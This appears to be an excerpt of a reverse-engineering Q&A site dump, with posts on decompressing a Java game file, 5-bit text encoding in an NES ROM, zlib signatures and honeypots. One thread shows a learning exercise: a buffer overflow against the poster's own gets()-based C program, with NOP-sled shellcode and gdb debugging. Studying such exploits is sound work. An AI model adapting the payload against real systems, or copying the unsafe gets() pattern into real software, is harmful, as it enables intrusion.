  <row Id="2993" PostTypeId="1" CreationDate="2013-11-01T10:05:20.503" Score="4" ViewCount="5403" Body="&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/247623/item.dat&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/247623/item.dat&lt;/a&gt;&#xA;This is a file from a Java game, and I would like to know how to legible string data from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer if only hints were given to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into it with a Hex Editor and come to the conclusion that the file is either compressed or encrypted because of the lack of a pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is encrypted, I have no idea how to proceed.&#xA;If it is compressed, I have found the following but have no idea how to proceed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Entropy = 7.999055 bits per byte.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Optimum compression would reduce the size of this 384802 byte file by&#xA;  0 percent.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Chi square distribution for 384802 samples is 505.10, and randomly&#xA;  would exceed this value less than 0.01 percent of the times.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Arithmetic mean value of data bytes is 128.1314 (127.5 = random).&#xA;  Monte Carlo value for Pi is 3.120328068 (error 0.68 percent). Serial&#xA;  correlation coefficient is -0.031097 (totally uncorrelated = 0.0).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assume I have minimal knowledge of what I am doing, so several hints may be required.&#xA;More information can be given upon request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2013-11-01T22:08:50.487" Title="Need help extracting data from .dat file" Tags="|file-format|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2994" PostTypeId="2" ParentId="2993" CreationDate="2013-11-01T13:29:33.377" Score="3" Body="&lt;p&gt;It can be difficult to differentiate well compressed data (e.g., LZMA) from well encrypted data (e.g., AES). I've done a &lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;nofollow&quot;&gt;bit&lt;/a&gt; of &lt;a href=&quot;http://www.devttys0.com/2013/06/encryption-vs-compression-part-2/&quot; rel=&quot;nofollow&quot;&gt;analysis&lt;/a&gt; in the past however, and found that a lot of compressed data can be distinguished from encrypted data based on entropy analysis, as you have obviously already done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would take a simpler approach first. Look for common &quot;magic&quot; strings and/or headers in the file, such as those for gzip, zlib, and lzma. It may be that the game developers are using a standard compression, they've just added a custom header for their application.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-11-01T13:29:33.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2995" PostTypeId="1" AcceptedAnswerId="2997" CreationDate="2013-11-01T19:26:55.183" Score="8" ViewCount="16708" Body="&lt;p&gt;Some days ago I coded a simple code to test a buffer overflow exploitation on x86 system. In order to keep it simple I disabled ASLR and NX so there are no protection that could cause weird behaviours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my C code to exploit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void read_txt(){&#xA;        char txt[64];&#xA;        printf(&quot;Write something:&quot;);&#xA;        gets(txt);&#xA;}&#xA;&#xA;&#xA;int main(){&#xA;    read_txt();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also wrote my own shellcode that just prints a string. As far as I know the payload should be something like this, fill the buffer with NOP instructions + shellcode, add 0x41414141 (AAAA) to overwrite EBP register and finally I override the return address with an address pointing to the middle of the NOPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it does not work in that way and my payload is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]&#xA;&#xA;1- NOPs + Shellcode = 60bytes&#xA;2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)&#xA;3- Address to override EBP (In the middle of NOPs)&#xA;4- Overrides Return Address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This exploit works on gdb but fails if I pass the payload directly to the program, and I think that the problem is that just before the program executes gets() function the disasembler shows the &lt;strong&gt;leave&lt;/strong&gt; instruction which points esp to ebp and causes an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the disassembly of read_txt() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0804844c &amp;lt;+0&amp;gt;:    push   %ebp&#xA;   0x0804844d &amp;lt;+1&amp;gt;: mov    %esp,%ebp&#xA;   0x0804844f &amp;lt;+3&amp;gt;: sub    $0x44,%esp&#xA;   0x08048452 &amp;lt;+6&amp;gt;: movl   $0x8048510,(%esp)&#xA;   0x08048459 &amp;lt;+13&amp;gt;:    call   0x8048320 &amp;lt;printf@plt&amp;gt;&#xA;   0x0804845e &amp;lt;+18&amp;gt;:    lea    -0x40(%ebp),%eax&#xA;   0x08048461 &amp;lt;+21&amp;gt;:    mov    %eax,(%esp)&#xA;   0x08048464 &amp;lt;+24&amp;gt;:    call   0x8048330 &amp;lt;gets@plt&amp;gt;&#xA;   0x08048469 &amp;lt;+29&amp;gt;:    leave  &#xA;   0x0804846a &amp;lt;+30&amp;gt;:    ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the execution of the exploit on GDB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/20x $esp&#xA;0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090&#xA;0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231&#xA;0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068&#xA;0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0&#xA;0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500&#xA;(gdb) s&#xA;Warning:&#xA;Cannot insert breakpoint 0.&#xA;Error accessing memory address 0x90909090: I/O Error.&#xA;&#xA;0xbffff489 in ?? ()&#xA;(gdb) c&#xA;Continuing.&#xA;Shellcode Executed&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0xbffff4b9 in ?? ()&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that EBP points to 0x90909090 because it has the same address that overrides the return address, and also notice the string &lt;strong&gt;Shellcode Executed&lt;/strong&gt; that is the shellcode included in the payload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, where could I point EBP to avoid this problem before pointing the return address to the NOP slide? Also as secondary question why I can't fill the 64bytes buffer with NOPs+Shellcode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="2197" LastActivityDate="2013-11-02T00:17:40.800" Title="Illegal Instruction exploiting sample Buffer Overflow code" Tags="|c|exploit|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2996" PostTypeId="2" ParentId="2993" CreationDate="2013-11-01T22:08:50.487" Score="7" Body="&lt;p&gt;Piece of cake: this is ZIP-compatible compressed compiled Java. Any familiar sequences of bytes near the header?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FA CE AF 0E 10 00 10 00 78 9C AC DD ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. those first few bytes &lt;em&gt;look&lt;/em&gt; like Java's magic ID &lt;code&gt;CA FE BA BE&lt;/code&gt;, but Googling that sequence doesn't yield any results, and it might be a red herring anyway. Next up: &lt;code&gt;10 00 10 00&lt;/code&gt;, which can be about anything (not a file length, but perhaps some internal flag or ID).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next: &lt;code&gt;78 9C&lt;/code&gt;. These &lt;em&gt;are&lt;/em&gt; familiar, they may form a set of ZLIB compatible compression flags. A quick-and-dirty ZLIB unpacker gave me (1) a &lt;em&gt;positive&lt;/em&gt; unpacking result (meaning this data &lt;em&gt;is&lt;/em&gt; valid compressed data and could be uncompressed), and (2) an output file much larger than the input (1,388,603 bytes vs. the original 384,802).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspecting the decompressed data I found this at the start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01 09 00 31 5B 4C 63 6F 6D 2E 74 68 72 65 65 72 69 6E 67&#xA;73 2E 70 72 6F 6A 65 63 74 78 2E 69 74 65 6D 2E 63 6F 6E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, in ASCII,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...1[Lcom.threering&#xA;s.projectx.item.con&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-- enough to conclude it has been decompressed successfully. From this point on, you should be able to use common Java-decrypting/decompiling techniques.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2013-11-01T22:08:50.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2997" PostTypeId="2" ParentId="2995" CreationDate="2013-11-01T23:53:22.017" Score="6" Body="&lt;p&gt;In fact, the memory layout within &lt;code&gt;gdb&lt;/code&gt; and outside of it differs of a few bytes. There have been recently a question about this here. You can read: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2983/how-to-predict-address-space-layout-differences-between-real-and-gdb-controlled&quot;&gt;How to predict address space layout differences between real and gdb-controlled executions?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you may just have to adjust your address by adding/subtracting 96 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can, also, give you a few tricks with &lt;code&gt;gdb&lt;/code&gt; to help you a bit with this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;info frame&lt;/code&gt;: This command gives you a full image of the frame you are in. Including where are stored the &lt;em&gt;saved eip&lt;/em&gt; ans the &lt;em&gt;saved ebp&lt;/em&gt;. It is extremely useful to observe if you reach the right spot in the memory to modify. You may set a breakpoint on &lt;code&gt;read_txt&lt;/code&gt; and display the content of the &lt;em&gt;saved eip&lt;/em&gt; before and after the &lt;code&gt;gets()&lt;/code&gt; is called in order to see if the modification occurred properly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When hitting a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xbffff489 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It basically means that &lt;code&gt;gdb&lt;/code&gt; did not find any symbol linked to the memory location. But, it might be assembly code, especially if it is your shellcode. So, to disassemble it you can use either of these commands:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;disas 0xbffff489,+40&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;x /10i 0xbffff489&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this help.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-11-02T00:17:40.800" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2998" PostTypeId="2" ParentId="2990" CreationDate="2013-11-02T01:44:16.597" Score="3" Body="&lt;p&gt;The following code is taken from GreyHat Python, and is very similar to the previous answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idaapi import *&#xA;funcs = [&quot;malloc&quot;,&quot;free&quot;,&quot;strcmp&quot;]&#xA;&#xA;for f in funcs:&#xA;   curAddr = LocByName(f)&#xA;   if curAddr != BADADDR:&#xA;      xrefs = CodeRefsTo(curAddr,0)&#xA;      print &quot;Cross References to %s&quot; % f&#xA;      for ref in xrefs:&#xA;         print &quot;08x&quot; % ref&#xA;         SetColor(ref,CIC_ITEM,0x0000ff)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will also highlight the call to make tracing it easier&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2013-11-02T01:44:16.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2999" PostTypeId="1" AcceptedAnswerId="3011" CreationDate="2013-11-02T07:24:50.567" Score="2" ViewCount="735" Body="&lt;p&gt;I am trying to figure out how the &lt;a href=&quot;http://www.firstpr.com.au/audiocomp/lossless/#rice&quot; rel=&quot;nofollow&quot;&gt;Lossless Rice compression&lt;/a&gt; algorithm works on the following file. Here is a &lt;a href=&quot;http://www.sendspace.com/file/me8bcw&quot; rel=&quot;nofollow&quot;&gt;DICOM file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the information I can see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdcmdump I160 | grep &quot;Tamar Compression Type&quot;&#xA;(07a1,1011) CS [LOSSLESS RICE ]                                # 14,1 Tamar Compression Type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can open the image using &lt;a href=&quot;http://www.tomovision.com/download/binaries/Tomo_21_r5.zip&quot; rel=&quot;nofollow&quot;&gt;TomoVision&lt;/a&gt;. The image is 512x512, 16bits (unsigned).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compressed stream:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdcmraw -t 07a1,100a I160 comp.raw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contains (hexdump comp.raw):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1A D5 F8 EB  F2 77 A5 CE  A3 54 D5 2A  C0 5D AA 32...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But TomoVision seems to output a series of zeroes until byte 0x1DE. I can also use a command line tool: &lt;a href=&quot;http://www.tomovision.com/download/download_dicomatic.htm&quot; rel=&quot;nofollow&quot;&gt;DICOMatic&lt;/a&gt; to process the file. However without a proper license, the &lt;a href=&quot;http://www.speedyshare.com/qhjq2/I160.dcm&quot; rel=&quot;nofollow&quot;&gt;generated file&lt;/a&gt; contains a waterwark. So only the first few bytes looks ok:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdcmraw /tmp/I160.dcm /tmp/pixeldata.raw&#xA;$ hexdump /tmp/pixeldata.raw |less&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some more encoded files can be found &lt;a href=&quot;http://www.speedyshare.com/4Xr9f/lossless-rice.tgz&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2013-11-04T11:22:28.380" LastActivityDate="2013-11-04T14:50:24.737" Title="Lossless Rice Compression" Tags="|decryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3000" PostTypeId="1" AcceptedAnswerId="3002" CreationDate="2013-11-02T11:20:34.640" Score="10" ViewCount="4333" Body="&lt;p&gt;While reading &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2996/115&quot;&gt;an answer to another question&lt;/a&gt;, it was mentioned that &quot;&lt;code&gt;78 9C&lt;/code&gt;&quot; was a well-known pattern for Zlib compressed data. Intrigued, I decided to search up the signature on &lt;a href=&quot;http://www.filesignatures.net/index.php?search=789c&amp;amp;mode=SIG&quot; rel=&quot;nofollow noreferrer&quot;&gt;the file signature database&lt;/a&gt; to see if there were any related numbers. It wasn't on there. So I checked on &lt;a href=&quot;http://www.garykessler.net/library/file_sigs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gary Kessler's magic number list&lt;/a&gt; to see that it wasn't there either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even ended up creating a binary file with the signature at the beginning and ran &quot;&lt;code&gt;file&lt;/code&gt;&quot; on it as a sort of &lt;em&gt;&quot;I-doubt-it-will-work-but-maybe&quot;&lt;/em&gt; attempt (Since that works with &quot;&lt;code&gt;50 4b&lt;/code&gt;&quot; because that is a valid ZIP file header and is commonly in the middle of other files.) But none of these attempts revealed that I was looking at a Zlib signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear as though most magic number databases only contain file-format magic numbers rather than numbers to differentiate data in the middle of a file. So, my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any places one could find a list of binary signatures of certain types of data streams that are &lt;em&gt;not&lt;/em&gt; file formats themselves? Data that is not a file itself, but rather &lt;em&gt;inside&lt;/em&gt; a file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-11-02T18:50:31.047" Title="Where could one find a collection of mid-file binary signatures?" Tags="|file-format|magic-number|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3001" PostTypeId="1" AcceptedAnswerId="3004" CreationDate="2013-11-02T13:42:02.317" Score="8" ViewCount="2428" Body="&lt;p&gt;I want to extract the strings in &lt;a href=&quot;http://www.speedyshare.com/NGGVr/Shadowgate-U.nes&quot;&gt;Shadowgate for NES&lt;/a&gt;. I ran &lt;code&gt;file&lt;/code&gt; on the image and then &lt;code&gt;strings&lt;/code&gt;, no luck. I found &lt;a href=&quot;http://fms.komkon.org/EMUL8/NES.html#LABM&quot;&gt;some information about the NES cartridge file format&lt;/a&gt;. The docs mention the use of “Name Tables”. Is there a way to disassemble this file and view the strings? I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; strings -e -T rom.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; objdump -i rom.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The processor looks to be an M6502 processor and there are Windows disassemblers available.&lt;/p&gt;&#xA;" OwnerDisplayName="user3094" LastEditorUserId="107" LastEditDate="2013-11-03T02:19:37.923" LastActivityDate="2013-11-03T02:19:37.923" Title="String extraction from an iNES ROM dump" Tags="|disassembly|strings|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3002" PostTypeId="2" ParentId="3000" CreationDate="2013-11-02T13:56:55.897" Score="6" Body="&lt;p&gt;Are you perhaps looking for &lt;a href=&quot;https://code.google.com/p/binwalk/&quot; rel=&quot;noreferrer&quot;&gt;binwalk&lt;/a&gt;? Especially the &lt;em&gt;magic&lt;/em&gt; folder of its source code.&lt;/p&gt;&#xA;" OwnerUserId="3095" LastEditorUserId="1485" LastEditDate="2013-11-02T18:50:31.047" LastActivityDate="2013-11-02T18:50:31.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3003" PostTypeId="1" AcceptedAnswerId="3005" CreationDate="2013-11-02T22:48:20.783" Score="3" ViewCount="857" Body="&lt;p&gt;I want to operate honeypots for malware analysis purpose and packet capture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What honeypots are recommended for beginners ? And, what is the best to set-up an honeypot, should it be in a real machine or in a virtual machine ? Finally, does this technique really work for malware capture or is there a better way to get real malware ?&lt;/p&gt;&#xA;" OwnerUserId="3098" LastEditorUserId="53" LastEditDate="2013-11-03T11:30:18.137" LastActivityDate="2013-11-03T11:30:18.137" Title="What Honeypots are recommended to capture malwares (for analysis)?" Tags="|malware|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-06T21:57:59.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="3004" PostTypeId="2" ParentId="3001" CreationDate="2013-11-02T23:36:59.793" Score="13" Body="&lt;p&gt;There are several approaches to locating strings in an unknown file. One you already tried: &lt;code&gt;strings&lt;/code&gt;. This looks for plain, unencoded ASCII text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Strings  looks  for  ASCII  strings in a binary file [..] A  string is any sequence of 4 (the default) or more printing characters ending with a newline or a  null. (&lt;code&gt;man strings&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there are many reasons why this naive approach may fail. First off: not every text in the world is ASCII encoded. In fact, examining your file with a binary editor, you can find graphic images for the font used in the game at offset 0x20010 -- monochrome bitmaps of 8x16 pixels. If you assume the first character (a '0') is numbered zero, then 'A' is at position 31 -- definitely &lt;em&gt;not&lt;/em&gt; ASCII text. Of course, it's possible the text drawing routine knows this, and re-orders characters to be printed according to this scheme; but, given the age of this particular game (1987) it is more likely that the textual data is &lt;em&gt;stored&lt;/em&gt; according to this weird encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In itself, however, this should not be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling for this game provides a number of screen shots, and you can read some of the texts that may appear -- &quot;The last thing you remember&quot;, &quot;Word of your historic quest&quot;, etc. --, and a noteworthy point is that all text appears to be in ALL CAPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does that help? Well, if the encoding is &lt;em&gt;remotely&lt;/em&gt; 'normal', the character code of an 'A' might be anything, but you can safely assume that &lt;code&gt;code+1&lt;/code&gt; is 'B', &lt;code&gt;code+2&lt;/code&gt; is 'C', and so on. Now let's assume the text &quot;THE&quot; occurs &lt;em&gt;anywhere&lt;/em&gt; (a safe assumption). Subtract 'T' from the first byte in the data and note the difference. Subtract this difference from the next byte and test if it is an 'H'; if so, test the same difference on the &lt;em&gt;next&lt;/em&gt; byte and see if it is an 'E'. Three times is a charm (in this case), and since the string &quot;THE&quot; ought to come up very frequent, you should see lots of hits with the same difference. Then you can write a custom routine to 'convert' &lt;em&gt;all&lt;/em&gt; data bytes according to this scheme, and check again if you find useful strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That didn't work for Shadowgate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is that the text has been deliberately obfuscated. A popular (because &lt;em&gt;fast&lt;/em&gt;) option was to &lt;a href=&quot;http://en.wikipedia.org/wiki/Xor&quot;&gt;XOR&lt;/a&gt; text with a constant. That way the text was not readily visible when inspected with a hex viewer, yet could easily be displayed. So I did the same as above, only now with a XOR operation instead of a constant subtraction. It didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next: given that SG is a &lt;em&gt;text&lt;/em&gt; adventure, it stands to reason the writers tried to stuff as much as possible text into the poor NES memory. To find &lt;em&gt;real world compression&lt;/em&gt; (ZIP, LZW) in such an old game is fairly rare, the compression schemes tended to be quite simple. After all, not only RAM was limited but CPU speed as well. What if every character is stored as a 5-bit sequence? That would save lots of memory -- every 8 characters of text could be stored in just 5 bytes, a compression rate of 62.5%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why &quot;5-bit&quot;? We're talking English text here, plus a handful of punctuation characters, plus (maybe) digits '0' to '9'. The alphabet itself is 26 characters long, which leaves another 6 values for anything else -- and, hey, one of the extra codes could mean &quot;for the next character use all 8 bits&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking every 5 bits against my test string (which in cryptography is called a &lt;a href=&quot;http://en.wikipedia.org/wiki/Crib_%28cryptanalysis%29&quot;&gt;&quot;crib&quot;&lt;/a&gt;), I found the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;candidate at 0570, delta is 41 H_A\`THE[TROLL[&#xA;candidate at 0670, delta is 41 _H\`ATHE[TROLL[&#xA;candidate at 0878, delta is 41 `AN`QTHE[TROLL[&#xA;candidate at 09E3, delta is 41 FROM^THE[DEPTHS&#xA;candidate at 1380, delta is 41 E[OF[THEM_A[THI&#xA;candidate at 13F0, delta is 41 ]NX_ATHE[WORDS[&#xA;candidate at 14C0, delta is 41 PD^`QTHE[FLAME[&#xA;candidate at 1BBA, delta is 41 UDGE[THEM[BY_A_&#xA;candidate at 22E0, delta is 41 ]BX_ATHE[GLASS[&#xA;candidate at 230D, delta is 41 ID_A[THE^SIGN[O&#xA;candidate at 2375, delta is 41 S[ON[THEM_A\`AB&#xA;candidate at 2390, delta is 41 LLOW[THE^VISCOU&#xA;candidate at 2528, delta is 41 F]PX_THE[STONE[&#xA;candidate at 25E6, delta is 36 @CP=KTHE@?OFHBS&#xA;candidate at 27F8, delta is 41 YDP]ATHE[BARK[O&#xA;candidate at 2B1E, delta is 41 D_H\]THE[WATER[&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. and many more. You can see it works, because I also decoded a few bytes before and after the test string, and that's recognizable as 'something' as well. The 'delta' shown is the difference between the five-bit code (0..31) and ASCII, and you can see it's &lt;code&gt;41&lt;/code&gt; for the majority of strings (the only exception seems a false positive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To assure that this &lt;em&gt;is&lt;/em&gt; correct, I tried with another crib: &lt;code&gt;KING&lt;/code&gt; (it's a fantasy game):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;candidate at 0661, delta is 41 Y[LOOKING[SPEAR&#xA;candidate at 23B4, delta is 41 [DRINKING[TAR_A&#xA;candidate at 2B5D, delta is 41 [DRINKING_A\`AA&#xA;candidate at 8E1B, delta is 43 \XVFDKINGDHEEVE&#xA;candidate at 146F9, delta is 34 JL54HKING48A4:D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That seems to work out as well: not the 'king' I was expecting, but nevertheless good results with a delta of 41, random stuff with another delta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But finding useful strings this way is rather fortunate, because of course there is no guarantee that reading every 5 bits &lt;em&gt;starting at the first byte&lt;/em&gt; should display anything useful. There may be lots of other strings in between the ones shown, but they didn't happen to start on a multiple of 5*8 bits. Suppose there was no text at position #0, but there &lt;em&gt;was&lt;/em&gt; at position #1, then I cannot see it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bits for byte 0,1&#xA; 0000.0000 TTTT.T000 (T = Text character bits)&#xA; ---&#xA; reading 1st 5 bits&#xA; 1111.1??? ????.????&#xA; 2nd 5 bits -- the wrong ones!&#xA; .... .111 11??.????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To properly decode &lt;em&gt;all&lt;/em&gt; strings, you'd now take the following route:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;my list of results contain readable text, but some garbage as well. Find out what the 'garbage' is (&lt;code&gt;[&lt;/code&gt; appears to be a simple space, but &lt;code&gt;THEM_A\'AB&lt;/code&gt; needs a closer look).&lt;/li&gt;&#xA;&lt;li&gt;find as much as possible &lt;em&gt;string starts&lt;/em&gt; and note down their addresses&lt;/li&gt;&#xA;&lt;li&gt;search the binary for these addresses. After all, if they are 'used', there needs to be some reference to them.&lt;/li&gt;&#xA;&lt;li&gt;Before and after these addresses, there will be more. These are addresses of strings the search algorithm did &lt;em&gt;not&lt;/em&gt; find, but still may be valid.&lt;/li&gt;&#xA;&lt;li&gt;Usually, a list of this kind is a contiguous one (although there may be some data associated with each string). Scan the binary up and down for similar addresses, until you found what's sure to be the start and the end.&lt;/li&gt;&#xA;&lt;li&gt;Loop over the list and display everything you can according to the decoding scheme.&lt;/li&gt;&#xA;&lt;li&gt;Sit back and enjoy a job well done.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2013-11-02T23:36:59.793" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3005" PostTypeId="2" ParentId="3003" CreationDate="2013-11-03T01:00:16.993" Score="2" Body="&lt;p&gt;You should take a look at the &lt;a href=&quot;http://www.honeynet.org/project&quot; rel=&quot;nofollow noreferrer&quot;&gt;honeynet project&lt;/a&gt; as it's probably the most well known implementation of a honey pot, and it includes plenty of tools and instructions to set up the honey pot and properly set up logging information. You can also see &lt;a href=&quot;https://security.stackexchange.com/questions/10168/setting-up-a-honeypot&quot;&gt;this&lt;/a&gt; thread as the accepted answer here provides a lot of detail and perspective about what you should think about when you're setting up a honeypot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any time you're doing any kind of analysis or interaction with malware you should be running it inside of a Virtual Machine. Security procedures aside you never know what you're going to run into when you're doing analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, there is plenty of malware that operates differently if it detects it's running inside of a virtual machine vs. a real system but if you're just getting started I would recommend doing your analysis inside of a 